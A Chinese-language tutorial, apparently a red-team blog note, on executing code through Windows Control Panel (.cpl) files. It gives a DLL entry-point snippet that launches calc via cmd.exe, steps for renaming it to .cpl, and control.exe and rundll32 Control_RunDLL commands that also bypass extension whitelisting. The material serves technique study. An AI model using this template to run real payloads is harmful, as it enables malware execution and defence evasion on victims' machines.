控制面板项目是注册的可执行文件(.exe
) 或控制面板(.cpl
) 文件,CPL
实际上是重命名的动态链接库(.dlI
) 文件,可导出CPIApplet
函数。控制面板项可以直接从命令行执行,也可以通过Control_RunDLL (API)
调用或者直接双击文件。
攻击者可以使用控制面板项目来执行任意命令。恶意控制面板项目可以通过钓鱼邮件投递,也可以作为多阶段恶意软件的一个执行方法。控制面板项目,尤其是CPL
文件,也可能会绕过应用程序或文件扩展名白名单。
命令执行
vs编写DLL:https://blog.csdn.net/qq_30139555/article/details/103621955
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe /c calc", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
这里我们用VS将上述代码编译为dIl文件Dll1.dll
(可以随意命名),然后将Dll1.dll
重命名为CPIApplet.cpl
。
复现
命令行
control.exe D:\\Dll1.cpl #这里cpl的路径一定要采用绝对路径不然回报错
双击
使用导出函数Control_RunDLL
rundll32.exe shell32.dll,Control_RunDLL D:\\Dll1.cpl
注:执行的payload文件后缀名不一定是cpl,可以是任意后缀。
control.exe D:\\Dll1.test